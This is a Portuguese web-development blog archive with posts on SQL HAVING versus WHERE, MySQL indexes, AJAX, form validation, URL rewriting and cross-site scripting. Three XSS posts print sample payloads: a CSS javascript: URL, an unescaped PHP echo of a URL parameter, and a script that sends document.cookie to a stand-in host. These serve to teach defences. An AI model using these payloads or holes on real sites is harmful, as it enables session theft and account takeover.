Category Archives: Programação

Programação

SQL – Where and Having

Published by:

Um destes dias, enquanto tentava perceber porque razão um dos meus servidores ficava subitamente tão lento (e que por muito pouco não foi formatado e reinstalado), percebi que existia uma query bastante lenta a ser executada.

Depois de mais alguma análise, percebi que essa query era do um software que estava a utilizar, e que o request era feito pelo Googlebot. Trata-se de um software opensource, que não vou identificar, até porque o site em que estava a utilizar esse software já foi entretanto migrado para a Mason Framework.

Mas, depois de uma breve vista de olhos à query em questão, foi fácil perceber qual o problema. Trata-se de uma query com um GROUP BY seguindo de um HAVING, e ainda um JOIN implicito (feito colocando as várias tabelas no FROM, sem a clausula JOIN). A titulo de exemplo, digamos que a query era qualquer coisa do tipo:


SELECT username FROM user, post, votes GROUP by user.id HAVING votes_user_id=user_id AND post_id=votes_post_id AND post_status='online' AND votes_date<post_publish_date

Vejamos quais são os problemas desta query…

  1. Primeiro temos o JOIN. O que acontece quando metemos várias tabelas no FROM de uma query, daquela maneira, é que o MySQL (ou qualquer outro motor de SQL que suporte esta sintaxe) agarra em todos de cada uma das tabelas e combina-os, criando uma tabela gigante, com uma linha por cada conjunto de registos de cada uma dessas tabelas.
  2. Depois temos o HAVING… repararam que as condições no HAVING são as condições do JOIN das tabelas? Mas, mais do que isso, repararam que vários do campos utilizados no Having não fazem parte do group by, nem da tabela pela qual o group é feito?

Vejamos o que acontece quando esta query é executada.

Join Cartesiano

Antes de mais, temos a questão das várias tabelas no FROM, sem o JOIN. Exemplifiquemos o que acontece:

Suponhamos que temos duas tabelas com um campo cada, tab1 e tab2:

tab1


tab1_c1
1
2
3

tab2


tab2_c1
a
b
c

Neste caso o resultset terá 9 linhas: 
tab1_c1, tab2_c1
1, 1
1, 2
1, 3
2, 1
2, 2
2, 3
3, 1
3, 2
3, 3

Inner JOIN

Inicialmente (querendo isto dizer há muito tempo atrás), a única forma de fazer JOINs em MySQL era esta, utilizando depois condições no WHERE para filtrar a listagem. MAs há já muito tempo que isto mudou. O MySQL permite utilizar a clausula JOIN para unir tabelas.

Imaginemos, no caso acima, que queremos apenas da segunda tabela os registos em que o campo tab2_c1 tem o mesmo valor que o campo tab1_c1 (da primeira tabela). Nesse caso, com um JOIN:


SELECT tab1_c1, tab2_c1 FROM tab1 JOIN tab2 ON tab1.tab1_c1=tab2.tab2_c1;

E deste SELECT resultam apenas 3 linhas:


tab1_c1, tab2_c1
1,1
2,2
3,3

A isto chamamos INNER JOIN.

GROUP by

Em SQL a clausula GROUP BY agarra num resultset (ou nos registos de uma tabela) e agrupa-os de acordo com o valor de um campo (ou de uma lista de campos), criando apenas um registo por cada grupo de linhas que tenham os campos indicados.

A grande questão com o GROUP by é o que acontece com os campos que não são utilizados no GROUP by.

Muitos motores de SQL (como o do Oracle) apenas permitem utilizar num group campos que estejam no group by e funções de grupo (como o SUM, MAX, MIN, etc). O MySQL assume que sabemos o que estamos a fazer e permite-nos utilizar qualquer campo das tabelas utilizadas na query.

O que acontece, no entanto, é que se um dos campos utilizados tiver mais do que um valor dentro do grupo, o valor que aparece no resultset é um qualquer dos vários possível.

Na verdade não é um qualquer, e conhecendo várias coisas acerca das tabelas envolvidas (como a Engine utilizada -InnoDB, MyISAM, etc), a ordem porque os registos estão no disco, e outras, uma pessoa que conheça bem o MySQL consegue prever qual o valor que vai aparecer para cada grupo, mas para o comum dos mortais o valor é práticamente imprevisivel.

Claro que se estamos a fazer um join de várias tabelas, em que um campo (único) de uma delas é o valor porque estamos a agrupar, todos os restantes campos dessa tabela são garantidos. Mas isso não acontece se o GROUP by utilizar um campo não único (que tenha valores repetidos), ou se os campos que estivermos a colocar no SELECT forem de outra tabela.

Imaginemos que nas nossas tabelas de exemplo, fazemos o seguinte: 
SELECT tab1_c1, tab2_c1 FROM tab1, tab2 GROUP by tab1_c1;

Deste query podem resultar vários resultados, sendo um dos possíveis (e dos mais prováveis se criarmos as tabelas de novos e inserirmos os valores por ordem, sem deletes ou updates):


tab1_c1, tab2_c1
1,1
2,1
3,1

Por aqui já conseguimos facilmente perceber que nos estamos a desviar do caminho que pretendiamos com o join que demonstramos antes.

HAVING

O SQL prevê duas clausulas distintas que permitem filtrar um dataset. A mais conhecida, obviamente, é o WHERE. A segunda é o HAVING.

A diferença entre o WHERE e o HAVING é o momento em que cada uma delas é executada, o momento em que as condições por elas definidas são aplicadas.

O WHERE é aplicado ao criar o result set, e o HAVING é aplicado sobre o result set final. Em MySQL o HAVING pode ser utilizado numa query sem GROUP by. A titulo de exemplo, assumindo que o campo tab1_c1 e o campo tab2_c1 são PRIMARY KEYs de cada uma das tabelas em questão, utilizar o WHERE para filtrar estas tabelas utiliza o indice, utilizar o HAVING não utiliza nenhum indice e, pior, é aplicado sobre o resultset final, filtrando registo a registo.

Mas quando se utiliza o GROUP by e um HAVING em campos que não são únicos no resultset antes de agrupado, o resultado é ainda mais… imprevisível.

Voltemos ao JOIN acima, e vamos fazer as clausulas no Having, depois de um group by:


SELECT tab1_c1, tab2_c1 GROUP by tab1_c1 HAVING tab1_c1=tab2_c1;

Se não tivessemos visto o resultado do GROUP by acima ou não soubessemos quando é que o HAVING , poderiamos achar que chegariamos ao resultado que pretendemos (o do JOIN, acima). Mas a verdade é o result set a que chegamos é: 
tab1_c1, tab2_c1
1,1

Ops, não era bem isto que queriamos. Para chegar ao resultset que queriamos, as condições têm, obviamente, que ser executadas antes do GROUP by… logo, têm de ser executados num WHERE, e não num HAVING.

Leitura e Execução

O SQL tem uma coisa fantástica… os comandos são executados pela ordem que se encontram na query (e, claro, não podem ser colocados na query pela ordem errada – um HAVING não pode aparecer antes de um WHERE).

Se retirarmos uma qualquer parte final da query, mantendo toda a query inalterada até essa remoção, se a query continuar válida, tudo o que faz até aí continua a ser feito. Claro que há situações em que o que aparece depois pode alterar a performance (positiva ou negativamente) do que está antes.

Por exemplo, um WHERE que utilize indices pode reduzir o tamanho do resultset e o tempo que a query demora a terminar. Isto é especialmente verdade com JOINs de várias tabelas, e quando mais no inicio do JOIN se encontrar a tabela filtrada, mais a rapidez do query melhora (por consequência da redução do resultset criado).

Nota final

O software em que encontrei a query que serve de inspiração a este post é razoavelmente utilizado, e tratava-se de uma versão de desenvolvimento. Obviamente o query não chegou à versão 1.0, que pode ser encontrada no site do software hoje.

Mas ainda assim achei que era um tema relevante.


Programação

MySQL – Where e Indices

Published by:

Quando se desenvolve para web, a utilização de bases de dados é grande parte do dia a dia. Especialmente quando se tem o prazer de trabalhar em projectos diferentes regularmente.

E quando se trabalha com bases de dados cujos tempos de resposta são críticos, a relação entre os índices existentes na base de dados e os campos utilizados para filtrar os registos é critica.

Dependendo do motor de base de dados utilizado, o tipo de indices e condições de filtragem (clausula WHERE do SQL) podem variar. No entanto (quase) todos têm em comum três tipos de índices: Primary Key, Unique e Index (ou Key).

No caso particular do MySQL existe ainda um quarto tipo de índice que é o Fulltext, que tem equivalente no Context do Oracle, e um equivalente no MS SQL Server.

É importante conhecer estes quatro tipos de índices para sabermos o que esperar e quando utilizar cada um deles.

Tipos de Índices

Primary Key

Um índice do tipo Primary Key é a chave primária de um registo, o identificador único do registo. Um campo (ou conjunto de campos) sobre o qual seja criado um índice deste tipo não pode ter qualquer valor repetido, e não pode ter qualquer valor NULL (campo vazio).

Utilizar um valor presente neste tipo de índice é normalmente a forma mais rápida de encontrar um registo.

Dependendo do motor de base de dados, e da definição da base de dados, muitas vezes a primary key de uma tabela é um campo cujo valor é auto-incremental, isto é, o valor do campo para o próximo registo é igual ao valor do campo no ultimo registo inserido mais um valor de incremento (normalmente 1, mas pode variar). No caso de motores de bases de dados que não suportam campo auto-incrementais (como o Oracle), existem normalmente funcionalidades que permitem encontrar um valor para atribuir a estes campos (como as SEQUENCEs, ainda no Oracle).

A questão é que para estes campos, o valor nunca se repete, e nunca pode ser NULL (vazio), pelo que o valor do campo pode ser sempre utilizado para aceder ao registo.

Chaves Únicas (UNIQUE)

O segundo tipo de índices são as Chaves Únicas (UNIQUE). Estas chaves, tal como asPrimary Key nunca podem ter valores repetidos. Mas ao contrário destas podem ter registos com valores NULL (vazios).

Com isto conseguimos ter uma forma de aceder sempre a um determinado registo da base de dados, mas sem sermos obrigados a atribuir sempre um valor a este campo.

Índices normais (KEY ou INDEX)

O terceiro tipo de índices permitem valores repetidos e valores NULL. Ao contrário das chaves únicas, estes índices destinam-se a encontrar numa tabela vários registo que partilham um mesmo valor (ou conjunto de valores), e não um único registo, ou para criar listagens ordenadas.

Não existem muitas regras que não se possam violar quando se criam este tipo de índices, mas não é normalmente considerado muito vantajoso criar índices que não permitam dividir os registos na base de dados em vários grupos.

Por exemplo, criar um índice num campo de tipo lógico cujos valores possíveis sãoverdadeiro ou falso, e em que o número de registo são mais ou menos semelhantes para um e outro valor, ou em que o valor porque normalmente se efectuam a maioria das listagens é o que tem mais registos não é muito relevante em termos de performance (na maioria dos caso).

Ao contrário, se a maioria dos valores são únicos, e especialmente se queremos ordenar as listagens de acordo com os valores desse campo, a criação de um indice é uma mais valia indesprezável.

Indexar todos os campos, também não é, por norma, uma tarefa muito proveitosa. O tamanho ocupado pelos índices duma tabela deve ser o menor possível, assim como o seu número, por forma a reduzir as possibilidades de índices utilizáveis, e com isso melhor o tempo de resposta do motor de base de dados.

Criar índices com vários campos também pode ser uma forma de melhor os tempos de resposta dos queries que fazemos à base de dados, especialmente se sempre que fazemos uma listagem de dados um conjunto de campos é sempre utilizado para filtrar os registos, ou para os ordenar.

Fulltext Search

Os índices do tipo FullText Search são uma funcionalidade interessante de vários motores de base de dados. Estes índices permitem-nos obter rapidamente registos que contenham uma determinada palavra num campo ou conjunto de campos.

São indicados para implementar sistemas de pesquisa, pois permitem muito rapidamente obter os registos que contém uma ou várias palavras passadas, e podem ser mesmo utilizados para ordenar esses registos de acordo com a relevâncias da pesquisa efectuada.

O problema de implementar pesquisas utilizando este tipo de índice são:

  • Palavras que existam em muito registos são ignoradas (por serem demasiado comuns e consequentemente irrelevantes)
  • Palavras menores que um determinado tamanho (3 letras normalmente) são igualmente ignoradas.
  • Pesquisas mais complexas do que uma listagem de artigos com uma ou mais palavras de um conjunto passado são possíveis, mas a sintaxe não é óbvia, especialmente para não programadores

Isto, obviamente, são problemas menores, especialmente porque a maioria dos utilizadores faz pesquisas utilizando apenas listas de palavras, e raramente se procura algo pelas palavras mais comuns de uma amostra. Não se procura palha num palheiro com esperança de encontrar uma qualquer palha especial.

Condições WHERE

A clausula WHERE do SQL, utilizada em quase todos os motores de base de dados hoje em dia, serve para filtrar os registos que se irão obter como resultado da listagem (alteração ou remoção também são instruções que podem ser filtradas com o WHERE. Concentremo-nos nas listagens porque são a tarefa mais comum, especialmente quando se programa para ambientes abertos como a Web, e aquela em que a performance é mais relevante – por ser a mais comum).

Mas, então, que atenções devemos ter na clausula WHERE quando escrevemos uma query SQL?

A primeira coisa que devemos ter em atenção é verificar que estamos a colocar as condições de filtragem da condição mais limitante para a menos limitante, isto é, que a primeira condição no WHERE é aquela que, se utilizada sozinha, devolve menos registos, e que a ultima é a que devolve menos.

Quando criamos índices que tenham os mesmo campos que os utilizados na condição de filtragem (ou alguns dos utilizados), devemos verificar que os campos se encontram no índice pela mesma ordem que se encontram na condição de filtragem.

Os campos para que não foram criados índices devem ser deixados para o fim. Isto, claro, se os índices tiverem sido bem criados, isto é, nos campos que permitem fazer maiores filtragens na base de dados.

Por exemplo, se precisa de listar artigos por dia e por categoria, que estejam activos, e tem (em média) 10 artigos por dia, 50 por categoria e 300 activos e outros tantos activos, criar um índice com a data e a categoria do artigo será provavelmente uma boa ideia, e é igualmente boa ideia colocar as condições na condição WHERE nessa mesma ordem.

Na clausula ORDER BY e ON (dos JOINs) aplicam-se as mesmas regras.

Conclusão

Na criação dos índices numa base de dados é importante saber que tipo e quantidade de dados lá serão colocados, e é preciso, acima de tudo, ter consciência da forma como esses dados serão apresentados.

Crie sempre uma primary key, ou poderá nunca mais conseguir alterar os registos ou aceder-lhes directamente.

Sempre que a primary key não seja utilizável para tudo, crie uma chave única para aceder directamente aos registos. Por exemplo, parte dos URLs utilizados no Web a Sério são uma chave única da tabelas de posts.

E vocês, há alguma consideração não referida que utilizem na criação dos vossos queries? Este artigo apresenta algo que nunca tinham considerado?

Que questões da Programação para Web gostariam de ver aqui discutidas?

Programação

PpW – XSS nos CSSs

Published by:

Já vos falei neste site de XSS por duas vezes, mas ainda existe uma terceira opção, em que eu próprio não tinha pensado. Não é muito mau, uma vez que apenas funciona em sites que permitam alterar os CSSs ou introduzir tags <STYLE> nos campos, e é exploitable apenas em Internet Explorer…

Bem. Não deixei este post para depois porque me lembrei imediatamente de um grande site onde isto poderia ser utilizado de forma grandiosa. Não, não vou dizer qual é o site, mas trata-se de um site de social networking. De um dos maiores.

Mas voltemos um pouco atrás, aos detalhes.

O referido exploit utiliza a funcionalidade url(“url”) que pode ser utilizado em várias propriedades dos CSSs, nomeadamente background, background-image, list-style-image, entre outros. Um pequeno teste para verificar a possibilidade de efectuar o exploit seria simplesmente:


<style>
li {
list-style-image: url("javascript:alert('XSS')");
}
</style>
<ul><li>Teste</li></ul>

Assim existe agora mais um forma de injectar javascript, sem conseguir adicionar tags de <script>.

Do ponto de vista da criação de sites aparece assim mais uma preocupação, que passa por verificar com cuidado em que consições se permite aos utilizadores alterar as CSSs dos sites, sendo isto especialmente relevante em sites de comunidades, em que cada utilizador pode costumizar o seu próprio perfil.

Aparentemente o exploit apresentado apenas funciona em Internet Explorer, mas é bastante recente, poderá funcionar noutros browsers.


Programação

AJAX – o que é?

Published by:

Ajax é a abreviatura de Asynchronous JavaScript and XML. Trata-se do nome de uma técnica para tornar a Web mais eficiente, transferindo pequenas quantidades de informação sem que o utilizador tenha essa percepção.

Mas, perguntam-me, o que te inspirou para escrever hoje sobre Ajax?

Esta tarde, um dos visitantes do meu blog foi originário do Google, onde tinha pesquisado “como colocar ajax no flash“.

Se me tivesse perguntado a mim, e não ao Google, provavelmente eu teria respondido não coloca.

O Ajax é uma técnica para efectuar pedidos HTTP em javascript e processar o XML devolvido para obter uma estrutura de dados, que será depois utilizada para alterar algo no site.

Mas, qual é o problema de utilizar isto em Flash?

Na verdade nenhum, no entanto o flash já dispõe de ferramentas para fazer todas estas operações internamente, pelo que não vejo necessidade de recorrer ao javascript para executar nenhuma delas.

O que o visitante do Web a Sério pretendia, penso, era implementar o tipo de funcionalidades normalmente atribuidas ao Ajax em Flash. Mas isso não é Ajax, uma vez que o JavaScript deixa de fazer parte da equação.

Ajax – descrição

Mas então, o que é o Ajax?

O Ajax é uma técnica, que consiste em utilizar um objecto XMLHttpRequest (que pode ter que ser criado de forma diferente consoante o browser) para efectuar um pedido HTTP ao servidor em background, receber dados do servidor em XML, processar esses dados e alterar o site de acordo com os dados recebidos.

Hoje existem várias variantes a todo este processo, sem normal utilizar um iframe para efectuar as chamadas ao servidor, e vários outros formatos são por vezes utilizados para a transferência de dados, incluindo HTML directamente, texto puro e vários outros.

Vantagens

As grandes vantagens de utilizar Ajax num site é que permite proceder a alterações na página com muito menos transferência de informação, pois podem ser transferidos apenas os dados novos em cada alteração, sendo o HTML do site reutilizado ou criado no cliente.

Por outro lado, como apenas partes das páginas são actualizadas, e essa actualização é normalmente muito mais rápida do que se toda a página fosse actualizada, o utilizador chega a ter a sensação de que tudo acontece em tempo real, localmente no seu computador.

Desvantagem

A grande desvantagem da utilização massiva de Ajax são a usabilidade e a indexação dos sites.

Pela parte da usabilidade, o facto de uma grande quantidade das funcionalidades do site serem implementadas em Javascript torna mais dificil a manutenção de funções a que os utilizadores estão habituados, como o botão Voltar/Back do browser, que quando as sucessivas páginas são criadas no browser do cliente não funciona.

Por outro lado, se as alterações são mais que alterações do conteúdo, mas navegação no próprio conteúdo, pode tornar-se impossível (ou pelo menos complexo) guardar links directos para determinado conteúdo que se pretende lembrar.

Esta questão da navegação coloca-se ainda com mais relevância quando se trata a indexação do site, pois se as listagens são geradas em Javascript, e os Robots de Indexação dos motores de pesquisa não executão o Javascript, na maioria dos caso não vão indexar correctamente o site.

Outro problema por vezes apresentado é o dos tempos de resposta, que numa rede com tempos de resposta elevados podem gerar timeouts e tempos de espera que os utilizadores não percebem. Nesta situação os utilizadores devem ser alertados visualmente desta situação.

Algumas referências

Programação

PpW – XSS por parâmetro

Published by:

Já aqui falei nos perigos do XSS e dos parâmetros não verificados, mas não contemplei uma possibilidade que não pode ser desprezada. A de utilizar directamente os parâmetros.

Existem sites que utilizam parâmetros que são passados nos URLs para preencher partes do site, como sejam titulos ou navegações.

Um exemplo (em PHP, mas poderia ser qualquer outra):

<h1><?php echo $_GET['titulo']; ?>

Este código pode não parecer perigoso, mas na realidade abre uma falha grave, especialmente se neste mesmo site forem utilizados cookies ou outra forma de autenticação.

Trata-se de uma situação menos perigosa do que quando os conteúdos inseridos são depois mostrados no site para todos os utilizadores.

Neste caso é necessário abrir um url que tenha o código perigoso incluído. Isso, no entanto, é mais simples de se conseguir do que possa pensar, dependendo da quantidade de utilizadores que têm acesso à parte reservada, o envio por email ou a divulgação em forúns podem conseguir isso, e depois aplicam-se todas as considerações que se fazem em relação ao XSS.

Como prevenir

Tal como se descreveu no post já referido sobre XSS, nunca utilizar directamente nenhum parâmetro que seja passado pelos utilizadores sem, pelo menos, transformar os caracteres < em &lt; e > em &gt;.

Claro que o seu site é feito para os seus utilizadores, mas o facto de 999 em cada mil serem de confiança e não pretenderem utilizar indevidamente o seu site, isso não significa que deva facilitar o trabalho ao milésimo, da mesma forma que não deixaria a porta de sua casa aberta apenas porque conhece todos os seus vizinhos.


Programação

.htaccess tools

Published by:

O .htaccess Tools é um site recém lançado que ajuda os utilizadores a criar ficheiros .htaccess e .htpasswd para protegerem os seus sites, impedir que as imagens do site sejam colocadas em páginas de outros sites, proteger o site de hitbots (scripts que chamam uma página com o propósito que uma outra página apareça na lista de referers), entre outras funcionalidades.

Vale uma visita, especialmente se não conhece bem as funcionalidade que podem ser implementadas nos ficheiros .htaccess, ou precisa gerar um ficheiro de passwords e não tem acesso ao programa htpasswd.


Programação

PpW – Usar Flash e Javascript

Published by:

Hoje, mais do que no passado, o AJAX (Asynchronous JavaScript and XML) parece estar em todo o lado, e os sites dinâmicos criados utilizando essa tecnologia são mais que muitos.

Há alguns dias, o Google disponibilizou o seu Google Web Toolkit, que permite criar aplicações Java, que são depois convertidas para aplicações HTML+Javascript.

O próprio Google utiliza AJAX em várias das suas ferramentas, como seja o Gmail, ou oGoogle Maps. Mas será que o AJAX é o resultado de todas as nossas preces?

E o Flash, que a macromédia tem desenvolvido ao longo de anos, e que hoje é uma ferramenta de desenvolvimento aplicacional completa, utilizada para fazer desde menus animados até jogos ou video players. É esta a solução para as nossas preces?

Bem, mesmo normalmente não utilizando Flash, e raramente recorrendo ao Javascript mais do que o estritamente necessário, concordo que são ferramentas uteis, e que permitem muitas coisas que seria bastante dificeis (ou mesmo impossiveis de conseguir) de outra forma.

Mas, peço desculpa, ainda não aderi à febre. Nem à do Flash, que com a novidade AJAX está a passar, nem à do AJAX. Por duas razões, e que se aplicam a ambas as situações:

  • Não são correctamente indexados;
  • Não são completamente compatíveis.

Não são completamente indexados

Hoje, ao contrário do que acontecia há algum tempo atrás, um flash cuidadosamente criado com esse objectivo em mente já é razoávelmente indexado. Mas apenas se for criado com esse objectivo em mente.

Mas não é isso que acontece normalmente. A maioria dos flahs que vi até hoje não contém directamente os conteúdos, ou quando os contém não estão em texto, mas em imagens, aparentemente para ficarem sempre com a aparência correcta.

Mas mesmo quando os texto estão dentro do flash e são indexáveis, não é possivel os motores de pesquisa enviarem os utilizadores directamente para a página onde se encontram os conteúdos que o utilizador procura.

Problemas idênticos se colocam quando se utiliza JavaScript para criar conteúdos, para os colocar nas páginas, independentemente de esses conteúdos fazerem inicialmente parte do JavaScript de alguma forma ou serem pedidos ao servidor pelo javascript (Sendo que neste caso nenhum motor de pesquisa irá aceder a esses conteúdos, uma vez que não executam o javascript).

Estas situações tornam-se mais graves quando o Javascript ou o Flash é utilizado para menus. Neste caso além de os conteúdos do Flash, ou criados pelo Javascript não serem indexados, também não o são as páginas que são pedidas quando os utilizadores clicam no menu.

Compatibilidade

Vários browsers não têm pluggin de flash, e alguns não executam javascript, pelo que sites que dependam muito dessas ferramentas não serão correctamente vistos nesses browsers.

Dos meus três browsers (Galeon, Mozilla Firefox e Internet Explorer), durante muito tempo apenas um tinha o pluggin de Flash instalado, e utilizadores invisuais, por exemplo, não têm forma de saber onde clicar num menu em flash para acederem a uma página que procuram.

Imagens, mesmo com MAP, isto é, com vários links na mesma imagem, podem ter titles por link, o que permite a qualquer utilizador saber antecipandamente alguma informação acerca do local para onde será enviado quando clicar no local onde tem o cursor. Mas o flash não.

Browsers apenas de texto (muitas vezes os browsers especiais são baseados nessas ferramentas) descrevem as imagens de forma alternativa (utilizando os campos alt e title), mas não têm forma de descrever um flash, e muitos deles também não executam javascript, pois uma grande parte da DOM não se lhes aplicaria de qualquer das formas.

Soluções

Claro que existem soluções de compromisso, como seja, ter um segundo menu, que será mostrado quando o utilizador não tiver flash, ou que esteja noutra parte da página, e que constituia uma alternativa ao menu em Flash ou Javascript, e que os motores de pesquisa também consigam utilizar.

Outra solução será ter uma versão alternativa do site para utilizadores que não têm flash ou javascript, mas isso significa também que os motores de pesquisa irão indexar essa versão e não a primeira, o que pode fazer com que a maioria dos utilizadores passe a utilizar a versão HTML, mesmo tendo flash e javascript.

Mas na verdade, eu utilizaria Flash e Javascript apenas no estritamente necessário. AJAX e outras formas de JavaScript que façam pedidos remotos de conteúdos, no entanto, utilizaria apenas em backoffices e partes de sites que não pretenda que sejam indexados.


Programação

PpW – Cross Site Script

Published by:

Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.

O problema

A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.

A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.

Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.

Um exemplo simples seria:


<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>

Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.

Soluções

Mas, que pode ser feito para evitar este tipo de situações?

Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.

Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.

Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiText, BB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.

Claro que isto só funciona se os caracteres < forem depois convertidos para &lt; e os >para &gt;.

Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.

Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.

Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.

Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.

Conclusão

Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.


Programação

PpW – Verificar campos de forms

Published by:

Uma coisas que frequentemente me dizem é para verificar os campos dos forms client-side (em Javascript, no browser) e não server-side (em PHP ou Perl, no servidor).

E é relativamente comum os campos serem verificados realmente client-side, e nunca serem verificados server-side.

Hoje a Internet é um meio acessível a pessoas com quase todo o tipo de conhecimentos de informática, desde os utilizadores finais, que não querem saber muito mais do que onde precisam de clicar para fazerem o que querem, até aos hacker (NOTA: hacker é uma palavra que sempre utilizado para abranger todos aqueles a quem não basta saber que as coisas funcionam, precisam de saber como e porquê) que conseguem, no caso da WEB, fazer requests HTTP manualmente, sem utilizar browsers.

Entre estes dois extremos existem vários níveis e a maioria dos utilizadores dividem-se por essa escala de forma mais ou menos disforme.

Quando fazemos verificações client-side estamos a pensar apenas nos primeiros níveis dessa escala, naqueles que apenas utilizam o site da forma que ele permite ser utilizado, que se limitam a utilizar o browser, normalmente o que vinha com o computador quando o compraram, algumas vezes um outro que alguém lhes instalou.

Mas esquecemos todos os que se encontram nos ultimos níveis da escala, aqueles que conhecem ferrementas que permitem fazer submissão de dados por HTTP sem serem os browsers, e aqueles que têm os conhecimentos de programar essas ferramentas.

Fazer um pequeno programa que enviar dados como se eles estivessem a ser enviados por um browser é bastante simples em várias linguagens. Em Perl, por exemplo, não passa de meia duzia de linhas de código (se não considerarmos os módulos utilizados, que estão já disponiveis).

Se as verificações forem feitas apenas no cliente os dados submetidos desta forma nunca são verificados. Mas se as verificações forem feitas no servidor não importa como os dados são enviados, são sempre verificados.

Concordo que fazer as verificações no cliente é mais rápido, pois podem ser feitas campo a campo, ou podem ser feitas antes de os dados do formulário serem enviados, o que permite reduzir o número de páginas pedidas ao servidor.

No entanto, fazer verificações apenas do lado do cliente é uma óptima forma de acabar com dados inconsistêntes na base de dados.

Se pretende fazer verificações do lado do cliente, não se esqueça de as fazer TAMBÉM do lado do servidor. O tempo que ocupa com essa tarefa é facilmente ganho mais tarde quando tentarem colocar dados inconsistêntes na sua base de dados.


Programação

PpW – A diferença nos URLs

Published by:

Quando se programa para WEB a solução mais fácil é utilizar os parâmetros para tudo o que seja informação dinâmica, como os identificadores das categorias, dos artigos, ou de qualquer outra coisa que se pretenda apresentar, criando URLs do tipo lista.php?id=123ou lista/index.html?id=123.

Nada de grava haveria a dizer desta prática não fosse realidade:

  • O Google não indexa links com o parâmetro id com valores com mais do que uma determinada dimensão (4 ou 5 digitos)
  • Os motores de pesquisa em geral não indexam, ou indexam de forma menos satisfatória URLs com mais do que 2 parâmetros.

Mas como podemos deixar de utilizar este tipo de URLs? Há várias formas e várias ferramentas que permitem resolver este problema.

A mais abrangente delas é talvez o mod_rewrite do Apache, servidor instalado na grande maioria dos hostings, e que permite tranformar URLs. Por exemplo, se pretendermos que o nosso URL lista.php?id=123 passe a ser lista/123.html, isso pode ser conseguido com o mod_rewrite, adicionando às configurações do apache, ou em alguns casos a um ficheiro .htaccess na raiz do seu site a seguinte linha:


RewriteRule ^/lista/(.*).html /lista.php?id=$1 [PT]

Esta simples regra faz com que sempre que um URL do tipo /lista/123.html for pedido ao nosso servidor, o mod_rewrite irá alterar o URL para /lista.php?id=123 que o apache depois tenta servir, processando assim o nosso script PHP original.

O mesmo pode ser feito para qualquer outro URL, e tendo em conta que o primeiro parâmetro é uma regular expression, quase qualquer transformação pode ser feita nos URLs. É preciso apenas um pouco de jeito, alguma persistência, e imaginação.

E a diferença que isso pode fazer na quantidade de páginas de um site nos indices principais do Google e dos outros motores de pesquisa faz TODA a diferença.

O maior trabalho num site já feito acaba por ser mesmo alterar todos os links, e todos os locais onde os links são criados para utilizar os novos URLs.

Claro que esta solução não passa de um remendo. Muitas linguagens e frameworks de programação para WEB já permitem por si só utilizar URLs dinâmicos, e permitem implementar directamente este tipo de URLs.